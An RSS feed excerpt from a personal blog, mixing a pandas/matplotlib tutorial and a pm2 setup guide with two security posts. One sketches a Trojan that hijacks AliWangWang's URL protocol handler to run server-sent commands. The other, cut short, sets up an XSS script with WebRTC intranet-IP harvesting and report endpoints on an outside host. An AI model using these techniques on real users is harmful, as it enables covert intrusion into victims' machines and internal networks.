&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;])
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0

datas2 = pd.DataFrame(np.ones((3, 4)) * 1, columns=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;])
#      a    b    c    d
# 0  1.0  1.0  1.0  1.0
# 1  1.0  1.0  1.0  1.0
# 2  1.0  1.0  1.0  1.0

datas3 = pd.DataFrame(np.ones((3, 4)) * 2, columns=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;])
#      a    b    c    d
# 0  2.0  2.0  2.0  2.0
# 1  2.0  2.0  2.0  2.0
# 2  2.0  2.0  2.0  2.0

pd.concat([datas1, datas2, datas3], axis=0, ignore_index=True)
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0
# 3  1.0  1.0  1.0  1.0
# 4  1.0  1.0  1.0  1.0
# 5  1.0  1.0  1.0  1.0
# 6  2.0  2.0  2.0  2.0
# 7  2.0  2.0  2.0  2.0
# 8  2.0  2.0  2.0  2.0

pd.concat([datas1, datas2, datas3], axis=1)
#      a    b    c    d    a    b    c    d    a    b    c    d
# 0  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0  2.0  2.0  2.0  2.0
# 1  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0  2.0  2.0  2.0  2.0
# 2  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0  2.0  2.0  2.0  2.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;concat parameters&lt;/h6&gt;
&lt;blockquote&gt;
&lt;p&gt;In concat, the default value of join is outer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;], index=[1, 2, 3])
#      a    b    c    d
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0
# 3  0.0  0.0  0.0  0.0

datas2 = pd.DataFrame(np.ones((3, 4)) * 1, columns=[&apos;b&apos;, &apos;c&apos;, &apos;d&apos;, &apos;e&apos;], index=[2, 3, 4])
#      b    c    d    e
# 2  1.0  1.0  1.0  1.0
# 3  1.0  1.0  1.0  1.0
# 4  1.0  1.0  1.0  1.0

pd.concat([datas1, datas2], join=&apos;outer&apos;)
#      a    b    c    d    e
# 1  0.0  0.0  0.0  0.0  NaN
# 2  0.0  0.0  0.0  0.0  NaN
# 3  0.0  0.0  0.0  0.0  NaN
# 2  NaN  1.0  1.0  1.0  1.0
# 3  NaN  1.0  1.0  1.0  1.0
# 4  NaN  1.0  1.0  1.0  1.0

pd.concat([datas1, datas2], join=&apos;inner&apos;)
#      b    c    d
# 1  0.0  0.0  0.0
# 2  0.0  0.0  0.0
# 3  0.0  0.0  0.0
# 2  1.0  1.0  1.0
# 3  1.0  1.0  1.0
# 4  1.0  1.0  1.0

pd.concat([datas1, datas2], axis=1, join_axes=[datas2.index])
#      a    b    c    d    b    c    d    e
# 2  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 3  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 4  NaN  NaN  NaN  NaN  1.0  1.0  1.0  1.0
# without join_axes:
#      a    b    c    d    b    c    d    e
# 1  0.0  0.0  0.0  0.0  NaN  NaN  NaN  NaN
# 2  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 3  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 4  NaN  NaN  NaN  NaN  1.0  1.0  1.0  1.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;append&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;])
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0

datas2 = pd.Series([1, 2, 3, 4], index=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;])
# a    1
# b    2
# c    3
# d    4
# dtype: int64

datas1.append(datas2, ignore_index=True)
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0
# 3  1.0  2.0  3.0  4.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;merge&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;left = pd.DataFrame({
  &apos;key&apos;: [&apos;k0&apos;, &apos;k1&apos;, &apos;k2&apos;, &apos;k3&apos;],
  &apos;A&apos;: [&apos;A0&apos;, &apos;A1&apos;, &apos;A2&apos;, &apos;A3&apos;],
  &apos;B&apos;: [&apos;B0&apos;, &apos;B1&apos;, &apos;B2&apos;, &apos;B3&apos;]
})
#     A   B key
# 0  A0  B0  k0
# 1  A1  B1  k1
# 2  A2  B2  k2
# 3  A3  B3  k3

right = pd.DataFrame({
  &apos;key&apos;: [&apos;k0&apos;, &apos;k1&apos;, &apos;k2&apos;, &apos;k3&apos;],
  &apos;C&apos;: [&apos;C0&apos;, &apos;C1&apos;, &apos;C2&apos;, &apos;C3&apos;],
  &apos;D&apos;: [&apos;D0&apos;, &apos;D1&apos;, &apos;D2&apos;, &apos;D3&apos;]
})
#     C   D key
# 0  C0  D0  k0
# 1  C1  D1  k1
# 2  C2  D2  k2
# 3  C3  D3  k3

pd.merge(left, right, on=&apos;key&apos;)
#     A   B key   C   D
# 0  A0  B0  k0  C0  D0
# 1  A1  B1  k1  C1  D1
# 2  A2  B2  k2  C2  D2
# 3  A3  B3  k3  C3  D3
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;left = pd.DataFrame({
  &apos;key1&apos;: [&apos;k0&apos;, &apos;k0&apos;, &apos;k1&apos;, &apos;k2&apos;],
  &apos;key2&apos;: [&apos;k0&apos;, &apos;k1&apos;, &apos;k0&apos;, &apos;k1&apos;],
  &apos;A&apos;: [&apos;A0&apos;, &apos;A1&apos;, &apos;A2&apos;, &apos;A3&apos;],
  &apos;B&apos;: [&apos;B0&apos;, &apos;B1&apos;, &apos;B2&apos;, &apos;B3&apos;]
})
#     A   B key1 key2
# 0  A0  B0   k0   k0
# 1  A1  B1   k0   k1
# 2  A2  B2   k1   k0
# 3  A3  B3   k2   k1

right = pd.DataFrame({
  &apos;key1&apos;: [&apos;k0&apos;, &apos;k1&apos;, &apos;k1&apos;, &apos;k2&apos;],
  &apos;key2&apos;: [&apos;k0&apos;, &apos;k0&apos;, &apos;k0&apos;, &apos;k0&apos;],
  &apos;C&apos;: [&apos;C0&apos;, &apos;C1&apos;, &apos;C2&apos;, &apos;C3&apos;],
  &apos;D&apos;: [&apos;D0&apos;, &apos;D1&apos;, &apos;D2&apos;, &apos;D3&apos;]
})
#     C   D key1 key2
# 0  C0  D0   k0   k0
# 1  C1  D1   k1   k0
# 2  C2  D2   k1   k0
# 3  C3  D3   k2   k0

pd.merge(left, right, on=[&apos;key1&apos;, &apos;key2&apos;], how=&apos;inner&apos;)
# how defaults to inner
#     A   B key1 key2   C   D
# 0  A0  B0   k0   k0  C0  D0
# 1  A2  B2   k1   k0  C1  D1
# 2  A2  B2   k1   k0  C2  D2

pd.merge(left, right, on=[&apos;key1&apos;, &apos;key2&apos;], how=&apos;outer&apos;)
#      A    B key1 key2    C    D
# 0   A0   B0   k0   k0   C0   D0
# 1   A1   B1   k0   k1  NaN  NaN
# 2   A2   B2   k1   k0   C1   D1
# 3   A2   B2   k1   k0   C2   D2
# 4   A3   B3   k2   k1  NaN  NaN
# 5  NaN  NaN   k2   k0   C3   D3

pd.merge(left, right, on=[&apos;key1&apos;, &apos;key2&apos;]. how=&apos;right&apos;)
#      A    B key1 key2   C   D
# 0   A0   B0   k0   k0  C0  D0
# 1   A2   B2   k1   k0  C1  D1
# 2   A2   B2   k1   k0  C2  D2
# 3  NaN  NaN   k2   k0  C3  D3

pd.merge(left, right, on=[&apos;key1&apos;, &apos;key2&apos;], how=&apos;left&apos;)
#     A   B key1 key2    C    D
# 0  A0  B0   k0   k0   C0   D0
# 1  A1  B1   k0   k1  NaN  NaN
# 2  A2  B2   k1   k0   C1   D1
# 3  A2  B2   k1   k0   C2   D2
# 4  A3  B3   k2   k1  NaN  NaN
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;Matplotlib&lt;/h2&gt;
&lt;h3&gt;Import&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;import matplotlib.pyplot as plt&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;API&lt;/h3&gt;
&lt;h4&gt;plot&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;data = pd.Series(np.random.randn(1000)) # 1000 random numbers
data = data.cumsum() # cumulative sum
# since a pandas object is data already, it can be plotted directly,
# two other forms: plt.plot(x=, y=) or plt.plot([xxx, xxx], [yyy, yyy])
data.plot()
plt.rcParams[&apos;font.sans-serif&apos;]=[&apos;SimHei&apos;] # make Chinese labels render correctly
plt.rcParams[&apos;axes.unicode_minus&apos;]=False # make minus signs render correctly
# linewidth: the width of the line
# linestyle: the line style (- solid, -- dashed, -. dash-dot, : dotted, None draws nothing)
plt.plot([1,50,100],[1,4,9], linewidth=2.5, linestyle=&apos;--&apos;, label=&apos;lalala&apos;)
plt.legend(loc=&apos;upper left&apos;) # without this line, the label above will not show
plt.plot([1,100,200],[1,7,9]) # a third data series
plt.title(&apos;Demo&apos;) # title
plt.xlabel(&apos;xxx&apos;) # x-axis name
plt.ylabel(&apos;yyy&apos;) # y-axis name
plt.text(60, 10, u&apos;annotation&apos;) # annotation text
plt.show()  # display
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/numpy-pandas-mateplotilb-some-api/matplotlib-line-plot.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;#  random numbers with 1000 rows and 4 columns, rows numbered 0 to 999, columns A B C D
data = pd.DataFrame(np.random.randn(1000, 4),
          index=np.arange(1000),
          columns=list(&apos;ABCD&apos;))
data = data.cumsum()  # cumulative sum
data.plot()
plt.show()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/numpy-pandas-mateplotilb-some-api/matplotlib-multiline-plot.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;Other charts&lt;/h4&gt;
&lt;h5&gt;Bar chart&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;plt.bar(left, height, width=0.8)
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;Scatter plot&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;plt.scatter(x,y)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>python</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>pm2 configuration for Vue+Koa</title><link>https://bugs.cc/posts/koa-pm2-configuration/</link><guid isPermaLink="true">https://bugs.cc/posts/koa-pm2-configuration/</guid><description>Using pm2 to manage a Vue frontend and a Koa backend</description><pubDate>Tue, 07 Nov 2017 13:37:00 GMT</pubDate><content:encoded>&lt;h2&gt;Background&lt;/h2&gt;
&lt;p&gt;The stack I am using is: Vue on the frontend, Koa on the backend, Mongodb as the database.&lt;/p&gt;
&lt;p&gt;Every time I start the services, I have to run &lt;code&gt;npm start&lt;/code&gt; and &lt;code&gt;node ./server/app.js&lt;/code&gt;, and keep both windows open. That is a hassle.&lt;/p&gt;
&lt;p&gt;And because I am using Koa, I did not use 狼叔’s Koa scaffold. I rolled a small MVC myself based on Liao Xuefeng’s &lt;a href=&quot;https://www.liaoxuefeng.com/wiki/001434446689867b27157e896e74d51a89c25cc8b43bdb3000/001434501579966ab03decb0dd246e1a6799dd653a15e1b000&quot;&gt;Koa framework&lt;/a&gt;. So there is no hot reload.&lt;/p&gt;
&lt;p&gt;To cut these unnecessary steps and add hot reload, I started thinking about how to improve this. I went with &lt;code&gt;pm2&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Configuring pm2&lt;/h2&gt;
&lt;p&gt;Install pm2 first: &lt;code&gt;npm i pm2&lt;/code&gt;, &lt;code&gt;npm i pm2 -g&lt;/code&gt;
Because this is an open source project, so the code can run on other people’s machines, pm2 needs to live in the project. Then install it globally, which is convenient for later debugging.&lt;/p&gt;
&lt;p&gt;Create a logs directory in the project root.&lt;/p&gt;
&lt;p&gt;In the current directory, create a pm2.json file, with the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;apps&quot;: [{
    &quot;name&quot;: &quot;koler-server&quot;,
    &quot;script&quot;: &quot;./app.js&quot;,
    &quot;error_file&quot;      : &quot;../logs/server-err.log&quot;,
    &quot;out_file&quot;        : &quot;../logs/server-out.log&quot;,
    &quot;merge_logs&quot;      : true,
    &quot;log_date_format&quot; : &quot;YYYY-MM-DD HH:mm Z&quot;,
    &quot;cwd&quot;: &quot;./server&quot;,
    &quot;watch&quot;: [
      &quot;app.js&quot;,
      &quot;controllers&quot;
    ],
    &quot;watch_options&quot;: {
      &quot;followSymlinks&quot;: false
    }
  },{
    &quot;name&quot;: &quot;koler-app&quot;,
    &quot;script&quot;: &quot;./build/dev-server.js&quot;,
    &quot;error_file&quot;      : &quot;./logs/app-err.log&quot;,
    &quot;out_file&quot;        : &quot;./logs/app-out.log&quot;,
    &quot;merge_logs&quot;      : true,
    &quot;log_date_format&quot; : &quot;YYYY-MM-DD HH:mm Z&quot;,
    &quot;cwd&quot;: &quot;./&quot;,
    &quot;ignore_watch&quot; : [
      &quot;node_modules&quot;
    ],
    &quot;watch_options&quot;: {
      &quot;followSymlinks&quot;: false
    }
  }]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This starts two projects at once.
&lt;code&gt;koler-server&lt;/code&gt; is Koa, &lt;code&gt;koler-app&lt;/code&gt; is the Vue frontend.&lt;/p&gt;
&lt;p&gt;I tried lifting&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;&quot;error_file&quot;      : &quot;./logs/app-err.log&quot;,
&quot;out_file&quot;        : &quot;./logs/app-out.log&quot;,
&quot;merge_logs&quot;      : true,
&quot;log_date_format&quot; : &quot;YYYY-MM-DD HH:mm Z&quot;,
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to the root of the JSON, but it did nothing. Looks like pm2 does not support that. So I had to write it in each app.&lt;/p&gt;
&lt;h2&gt;Configuring package.json&lt;/h2&gt;
&lt;p&gt;Replace &lt;code&gt;dev&lt;/code&gt; under the previous &lt;code&gt;script&lt;/code&gt; field, then add a &lt;code&gt;stop&lt;/code&gt; field. After the change:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;&quot;scripts&quot;: {
  &quot;dev&quot;: &quot;pm2 start pm2.json &amp;amp;&amp;amp; pm2 logs&quot;,
  &quot;start&quot;: &quot;npm run dev&quot;,
  &quot;stop&quot;: &quot;pm2 stop koler-app koler-server &amp;amp;&amp;amp; pm2 delete koler-app koler-server&quot;,
  &quot;build&quot;: &quot;node build/build.js&quot;,
  &quot;lint&quot;: &quot;eslint --ext .js,.vue src&quot;
},
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;pm2 start pm2.json &amp;amp;&amp;amp; pm2 logs&lt;/code&gt; starts from the pm2.json config. The &lt;code&gt;pm2 logs&lt;/code&gt; after it is there to tail Vue and Koa logs at the same time.&lt;/p&gt;
&lt;p&gt;After you run &lt;code&gt;npm start&lt;/code&gt;, the terminal looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/koa-pm2-configuration/pm2-start-logs.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;You can ignore that error. I forgot to clean up the previous logs.&lt;/p&gt;
&lt;p&gt;After it starts, a cmd window will appear on your screen. Don’t close it. It will close itself after a while. Every time a code change hits the &lt;code&gt;watch&lt;/code&gt; rules in the pm2 config, a cmd window pops up automatically, and that one also closes after a while.&lt;/p&gt;
&lt;p&gt;Because other people using the project may already be running multiple pm2 instances, I put the names in the &lt;code&gt;stop&lt;/code&gt; field, to avoid pausing and deleting every instance.&lt;/p&gt;
&lt;h2&gt;Testing&lt;/h2&gt;
&lt;p&gt;Now when we change the code, there is no problem. pm2 hot-reloads for us. Let’s try breaking a piece of Vue code on purpose:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/koa-pm2-configuration/vue-webpack-error.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/koa-pm2-configuration/koa-restart-error.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;You can see it is OK.&lt;/p&gt;
&lt;p&gt;One note on why the second instance &lt;code&gt;koler-app&lt;/code&gt; in pm2.json has no watch: Vue in development already uses webpack’s watch, so there is no need to add it.&lt;/p&gt;
</content:encoded><category>nodejs</category><category>vue</category><category>koa</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Some ideas based on URLProtocol attacks</title><link>https://bugs.cc/posts/some-ideas-based-on-urlprotocol-attacks/</link><guid isPermaLink="true">https://bugs.cc/posts/some-ideas-based-on-urlprotocol-attacks/</guid><description>Some attack ideas that use URLProtocol</description><pubDate>Sun, 26 Mar 2017 08:33:52 GMT</pubDate><content:encoded>&lt;p&gt;Browsers launch local apps through &lt;code&gt;URLProtocol&lt;/code&gt;.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/some-ideas-based-on-urlprotocol-attacks/#user-content-fn-urlprotocol-refs&quot; id=&quot;user-content-fnref-urlprotocol-refs&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Under the &lt;code&gt;[HKEY_CLASSES_ROOT]&lt;/code&gt; registry key, you can see many &lt;code&gt;URLProtocol&lt;/code&gt; entries.&lt;/p&gt;
&lt;p&gt;For example, AliWangWang:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/some-ideas-based-on-URLProtocol-attacks/aliim-registry-command.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;On the web, AliWangWang’s &lt;code&gt;Contact me&lt;/code&gt; button goes to &lt;code&gt;https://amos.alicdn.com/getcid.aw?v=3&amp;amp;groupid=0&amp;amp;s=1&amp;amp;charset=utf-8&amp;amp;uid=淘宝店铺名&amp;amp;site=cntaobao&amp;amp;groupid=0&amp;amp;s=1&amp;amp;fromid=cntaobao淘宝用户名&lt;/code&gt;, and that page runs this JavaScript:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;!function() {
    var a = window,
    b = function() {
        try {
            window.open(&quot;&quot;, &quot;_top&quot;),
            a.opener = null,
            a.close()
        } catch(b) {}
    },
    c = function() {
        a.location.href = &quot;aliim:sendmsg?touid=&quot; + a.site + a.touid + &quot;&amp;amp;site=&quot; + a.site + &quot;&amp;amp;status=1&quot;,
        setTimeout(function() {
            b()
        },
        6e3)
    };
    a.isInstalled ? a.isInstalled(function(b) {
        if (b) c();
        else {
            var d = confirm(&quot;\u68c0\u6d4b\u5230\u4f60\u672a\u5b89\u88c5\u963f\u91cc\u65fa\u65fa\u5ba2\u6237\u7aef,\u662f\u5426\u8981\u8df3\u8f6c\u5230\u5b98\u7f51\u4e0b\u8f7d?&quot;);
            d === !0 &amp;amp;&amp;amp; (a.location.href = &quot;https://wangwang.taobao.com&quot;)
        }
    }) : c()
} ();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The core line is &lt;code&gt;a.location.href = &quot;aliim:sendmsg?touid=&quot; + a.site + a.touid + &quot;&amp;amp;site=&quot; + a.site + &quot;&amp;amp;status=1&quot;&lt;/code&gt;. The aliim in that line is AliWangWang’s key name under &lt;code&gt;[HKEY_CLASSES_ROOT]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In the screenshot above, opening it runs &lt;code&gt;&quot;D:\Program Files (x86)\AliWangWang\8.60.03C\wwcmd.exe&quot; %1&lt;/code&gt;. wwcmd.exe is AliWangWang’s API for handling messages from the web. When it succeeds, it opens a chat window. &lt;code&gt;%1&lt;/code&gt; is the &lt;code&gt;sendmsg?touid=&quot; + a.site + a.touid + &quot;&amp;amp;site=&quot; + a.site + &quot;&amp;amp;status=1&quot;&lt;/code&gt; argument. Let’s replace WWCmd.exe and see how the arguments are passed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt; #include&amp;lt;stdio.h&amp;gt;
 int main(int argc,char **argv) {
      FILE *fp = fopen(&quot;c:/123.txt&quot;,&quot;w+&quot;);
      if(NULL == fp)
          return -1;
      while(argc--&amp;gt;0){
          fputs(*++argv,fp);
          fputs(&quot; &quot;,fp);
      }
      return 0;
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This C program writes the remaining arguments to 123.txt on drive C. After I replaced WWCmd.exe and clicked &lt;code&gt;Contact me&lt;/code&gt;, a 123.txt file appeared on drive C.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/some-ideas-based-on-URLProtocol-attacks/captured-protocol-params.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;It also passed &lt;code&gt;aliim:&lt;/code&gt; in. Following that request, we can write an exe that receives the arguments. My skills are limited, so here is the rough idea.&lt;/p&gt;
&lt;p&gt;The exe replaces the original &lt;code&gt;WWCmd.exe&lt;/code&gt;, then we generate a specific plugin and implant it in the browser. Every time the user opens a site, it receives a particular base64-encoded shell from the server, then runs &lt;code&gt;aliim:cmd=服务端的base64&lt;/code&gt;. If the argument is &lt;code&gt;sendmsg&lt;/code&gt;, it launches AliWangWang. If it is &lt;code&gt;cmd&lt;/code&gt;, it executes the code. That covers both hiding the Trojan and the condition to wake it. The same idea works for Thunder downloads and similar apps.&lt;/p&gt;
&lt;p&gt;What is the upside? When a browser launches AliWangWang, Thunder, and similar apps, a prompt usually pops up, but most users click Don’t ask again. That achieves the goal.&lt;/p&gt;
&lt;p&gt;This is only an idea, and it is not very mature. Comments welcome.&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-urlprotocol-refs&quot;&gt;
&lt;p&gt;Details are in &lt;a href=&quot;http://www.cnblogs.com/wang726zq/archive/2012/12/11/UrlProtocol.html&quot;&gt;http://www.cnblogs.com/wang726zq/archive/2012/12/11/UrlProtocol.html&lt;/a&gt; and &lt;a href=&quot;http://blog.csdn.net/zssureqh/article/details/25828683&quot;&gt;http://blog.csdn.net/zssureqh/article/details/25828683&lt;/a&gt; &lt;a href=&quot;https://bugs.cc/posts/some-ideas-based-on-urlprotocol-attacks/#user-content-fnref-urlprotocol-refs&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>web security</category><category>javascript</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Automated XSS intranet invasion</title><link>https://bugs.cc/posts/use-xss-automation-invade-intranet/</link><guid isPermaLink="true">https://bugs.cc/posts/use-xss-automation-invade-intranet/</guid><description>Probe and break into the intranet with WebRTC</description><pubDate>Wed, 14 Dec 2016 14:40:25 GMT</pubDate><content:encoded>&lt;h2&gt;0x01 Preface&lt;/h2&gt;
&lt;p&gt;A lot of people think XSS can only steal cookies. Some SRCs and vendors ignore reflected XSS, or simply do not take it seriously.&lt;/p&gt;
&lt;p&gt;Things only started to change after “Hei Ge” mentioned XSS intranet invasion in an earlier talk. From my own testing, the XSS intranet invasion Hei Ge described likely involved a browser vulnerability. What if you do not have a browser vulnerability? Like the Sohu bug 0x_Jin reported on WooYun: &lt;a href=&quot;http://www.wooyun.org/bugs/wooyun-2014-076685&quot;&gt;http://www.wooyun.org/bugs/wooyun-2014-076685&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A few things to note: because of the browser same-origin policy, you cannot really invade the intranet in the full sense of the word. Of course, if you have a browser 0day, that is a different story.&lt;/p&gt;
&lt;p&gt;I also asked about 0x_Jin’s WooYun report myself. The answer was that it only probed open port 80, and that was it. Hei Ge did not publish the full code, and 0x_Jin did not go further. Since neither did, I will take it from here. I will use another approach to “bypass the browser same-origin policy”.&lt;/p&gt;
&lt;h2&gt;0x02 Architecture&lt;/h2&gt;
&lt;p&gt;The code uses a live-feedback mechanism similar to XSS platforms. I will go through the variables first:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var onlyString           = &quot;abc&quot;;
var ipList               = [];
var survivalIpLIst       = [];
var deathIpLIst          = [];
var sendsurvivalIp       = &quot;http://webrtcxss.cn/Api/survivalIp&quot;;
var snedIteratesIpUrl    = &quot;http://webrtcxss.cn/Api/survivalPortIp&quot;;
var snedIteratesCmsIpUrl = &quot;http://webrtcxss.cn/Api/survivalCmsIp&quot;;
var sendExistenceVul     = &quot;http://webrtcxss.cn/Api/existenceVul&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;onlyString : a unique string so the server can tell which project a request belongs to. Real code would not hard-code &lt;code&gt;abc&lt;/code&gt;; it would generate a hash with md5(date(‘Y-m-d H: i: s’)).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ipList : array that stores intranet IPs obtained via WebRTC.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;survivalIpLIst : array of IPs with port 80 open&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;deathIpLIst : array of IPs without port 80, used for the check&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;sendsurvivalIp : send the current intranet IP info to the server&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;snedIteratesIpUrl : take CMS paths returned by the server and test IPs that already have port 80 open, to see whether any live IP matches CMS info stored on the server&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;snedIteratesCmsIpUrl : for a matched CMS, ask the server whether that CMS has a getshell we stored&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;sendExistenceVul : vulnerability confirmed, send it to the server&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As I said in the 0x01 preface, I will use another approach to “bypass the browser same-origin policy”. Overall architecture: &lt;a href=&quot;https://www.processon.com/view/link/5711cdc6e4b0d7e7748c34ec&quot;&gt;https://www.processon.com/view/link/5711cdc6e4b0d7e7748c34ec&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;0x03 Getting intranet IP information&lt;/h2&gt;
&lt;p&gt;See: &lt;a href=&quot;https://webrtc.org/faq/#what-is-webrtc&quot;&gt;https://webrtc.org/faq/#what-is-webrtc&lt;/a&gt;
WebRTC gives JavaScript some lower-level capabilities, and because of how WebRTC works, we can use JavaScript to obtain intranet IPs. Platforms that currently support WebRTC: Chrome, Firefox, Opera, Android, iOS. In my tests Maxthon also supports it (this will come up later).
The WebRTC intranet-IP snippet is easy to find online. I modified it here so the rest of the code can call it easily.
Here is the WebRTC code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var webrtcxss = {
    webrtc : function(callback){
        var ip_dups           = {};
        var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
        var mediaConstraints  = {
            optional: [{RtpDataChannels: true}]
        };
        var servers = undefined;
        if(window.webkitRTCPeerConnection){
            servers = {iceServers: []};
        }
        var pc = new RTCPeerConnection(servers, mediaConstraints);
        pc.onicecandidate = function(ice){
            if(ice.candidate){
                var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
                var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1];
                if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
                ip_dups[ip_addr] = true;
            }
        };
        pc.createDataChannel(&quot;&quot;);
        pc.createOffer(function(result){
            pc.setLocalDescription(result, function(){});
        });
    },
    getIp : function(){
        this.webrtc(function(ip){
            ipList.push(ip);
        });
    }
}
webrtcxss.getIp();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s print it and see:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/webrtc-local-ip.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;I already have the current host’s IP.&lt;/p&gt;
